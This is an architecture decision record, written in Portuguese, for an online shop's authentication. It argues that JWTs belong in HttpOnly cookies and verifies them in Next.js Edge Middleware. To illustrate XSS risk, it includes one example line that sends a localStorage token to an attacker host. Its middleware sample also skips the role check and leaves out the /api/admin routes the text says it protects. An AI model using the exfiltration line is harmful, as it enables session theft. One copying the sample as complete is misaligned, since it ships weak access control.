ADR-004: JWT em Cookie HttpOnly vs. localStorage
| Campo | Valor |
|---|---|
| Status | ✅ Accepted |
| Data | 2024-Q1 |
| Decisores | Time de desenvolvimento |
| Impacto | Alto — afeta segurança da autenticação de clientes e do painel admin |
Contexto
O sistema possui dois tipos de sessão autenticada:
- Clientes da loja — acesso a
Minha Conta, histórico de pedidos, dados de endereço. - Administradores — acesso ao painel
/admincom operações destrutivas (excluir produtos, reembolsar pedidos, emitir NF-e).
A decisão sobre onde armazenar o token de autenticação é crítica do ponto de vista de segurança. As duas opções principais são:
localStorage— acessível via JavaScript, simples de implementar, mas vulnerável a ataques XSS.- Cookie
HttpOnly— inacessível via JavaScript, enviado automaticamente pelo browser, com proteção contra XSS, mas requer atenção a CSRF.
Adicionalmente, a estratégia de verificação do token impacta a latência de cada requisição: verificar no banco de dados (consultar tabela de sessões) vs. verificar criptograficamente (JWT stateless).
Decisão
Adotamos JWT HS256 armazenado em cookie HttpOnly com as seguintes configurações:
Nome: token
HttpOnly: true
Secure: true (apenas em produção; false em localhost)
SameSite: Lax
MaxAge: 604800 (7 dias)
Path: /
O token JWT contém o payload mínimo necessário:
{
"sub": "user-uuid",
"role": "ADMIN" | "CUSTOMER",
"iat": 1234567890,
"exp": 1234567890
}
A verificação do token ocorre no Edge Middleware (middleware.ts), que é executado antes do roteamento em cada requisição para rotas protegidas (/admin/*, /minha-conta/*, /api/admin/*). O middleware usa a biblioteca jose para verificar a assinatura e a expiração do JWT sem consultar o banco de dados.
A geração e assinatura do JWT usa jose.SignJWT com o algoritmo HS256 e o segredo JWT_SECRET armazenado em variável de ambiente.
Justificativa
Por que cookie HttpOnly e não localStorage
XSS é o vetor de ataque mais comum em aplicações web. Se um atacante consegue injetar JavaScript malicioso na página (via dependência comprometida, campo de input sem sanitização, ou extensão de browser), o código pode fazer localStorage.getItem('token') e exfiltrar o token para um servidor externo.
Com HttpOnly, o JavaScript não tem acesso ao cookie — nem o código legítimo, nem o código malicioso. O browser envia o cookie automaticamente em cada requisição, mas nenhum script pode lê-lo.
// ✅ Com HttpOnly — isso retorna undefined; o token está seguro
document.cookie // não mostra o cookie token
localStorage.getItem('token') // undefined; não existe aqui
// ❌ Sem HttpOnly (localStorage) — um script malicioso faz isso:
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'))
Por que SameSite=Lax e não Strict
SameSite=Strict bloquearia o envio do cookie em navegações cross-site, incluindo quando o usuário clica em um link externo que aponta para ljvelasearomas.com.br. O usuário clicaria no link e chegaria à loja deslogado, precisando fazer login novamente — UX péssima.
SameSite=Lax é um meio-termo: envia o cookie em navegações top-level (clique em link), mas bloqueia em requisições cross-site iniciadas por <img>, <iframe> ou fetch() em terceiros — o que cobre a maioria dos ataques CSRF.
Por que JWT stateless e não sessão em banco de dados
Com sessão em banco de dados, cada requisição autenticada precisa de um SELECT no banco para verificar se a sessão ainda é válida. Para um servidor com 1000 requisições/segundo, isso são 1000 queries extras por segundo — latência adicional e carga no banco.
Com JWT, o Edge Middleware verifica a assinatura criptograficamente em memória, sem acesso ao banco. Isso é possível porque a assinatura HMAC-SHA256 garante que o payload não foi adulterado.
O trade-off é que JWTs não podem ser invalidados individualmente antes da expiração sem implementar uma blocklist. Para o caso de uso atual (logout voluntário do usuário), isso é tratado deletando o cookie no browser — o token ainda seria tecnicamente válido por até 7 dias se alguém o capturasse, mas isso só seria possível via MITM (bloqueado por HTTPS) ou comprometimento do servidor.
Verificação no Edge Middleware
// middleware.ts — executado no Edge Runtime antes do roteamento
export async function middleware(request: NextRequest) {
const token = request.cookies.get('token')?.value;
if (!token) {
return NextResponse.redirect(new URL('/login', request.url));
}
try {
await jwtVerify(token, new TextEncoder().encode(process.env.JWT_SECRET));
return NextResponse.next();
} catch {
// Token expirado ou inválido
return NextResponse.redirect(new URL('/login', request.url));
}
}
export const config = {
matcher: ['/admin/:path*', '/minha-conta/:path*'],
};
Esta verificação acontece antes de qualquer Server Component ou Route Handler ser executado, garantindo que nenhuma lógica de negócio seja atingida por requisições não autenticadas.
Consequências
Positivas
- XSS não acessa o token — mesmo que JavaScript malicioso seja executado na página, o cookie
HttpOnlyé inacessível. - CSRF mitigado por
SameSite=Lax— requisições cross-site não carregam o cookie. - Zero latência de banco no middleware — a verificação do JWT é criptográfica, sem I/O.
- Funciona com o App Router — cookies são acessíveis via
cookies()donext/headersem Server Components e Route Handlers. - Renovação automática pelo browser — o
MaxAgegarante que o cookie expire automaticamente após 7 dias.
Negativas / Ressalvas
- Renovação manual após 7 dias — não há lógica de refresh token. Após 7 dias, o usuário precisa fazer login novamente. Para a frequência de uso esperada de um e-commerce de nicho, isso é aceitável. Se houver demanda por sessões mais longas, implementar um refresh token em cookie separado com prazo maior é o caminho.
- JWTs não invalidáveis — logout deleta o cookie no browser, mas o JWT em si é válido por até 7 dias. Para invalidação imediata (ex.: troca de senha, suspeita de comprometimento), seria necessário implementar uma blocklist no banco ou Redis.
- Segredo
JWT_SECRETé crítico — se oJWT_SECRETfor comprometido, um atacante pode forjar tokens para qualquer usuário. O segredo deve ter entropia alta (256 bits mínimo), ser único por ambiente e nunca ser commitado no repositório.
Alternativas consideradas
localStorage (descartado)
Motivo: Vulnerável a XSS. Qualquer script com acesso ao DOM pode ler localStorage. Em um e-commerce que carrega SDKs de terceiros (analytics, mapas de calor, chat de suporte), a superfície de ataque XSS é não trivial. O risco é inaceitável para tokens de autenticação, especialmente para a role ADMIN.
next-auth (descartado)
Motivo: next-auth adiciona ~50KB ao bundle e requer configuração de providers, callbacks de sessão e adapter de banco de dados. Para um sistema de autenticação com um único provider (email + senha com bcrypt) e sem necessidade de OAuth, esse overhead não se justifica. A implementação manual com jose é ~60 linhas de código e oferece controle total sobre o payload do token e as configurações do cookie.
Sessão em banco de dados (descartado)
Motivo: Latência adicional em cada requisição autenticada. Com JWT stateless, o Edge Middleware verifica o token em <1ms sem I/O. Com sessão em banco, mesmo com cache, a latência mínima é a latência de rede para o MySQL (~5-10ms na Hostinger). Para rotas de admin com múltiplas chamadas de API, isso somaria.
Referências
- OWASP — Authentication Cheat Sheet
- MDN — SameSite cookies
- jose library
middleware.ts— implementação da verificação JWT no Edge Middlewareapp/api/auth/login/route.ts— geração do cookie de sessãoapp/api/auth/logout/route.ts— deleção do cookie de sessão- ADR-003 — Zustand (o logout que limpa o carrinho via
useCartStore.getState().clearCart())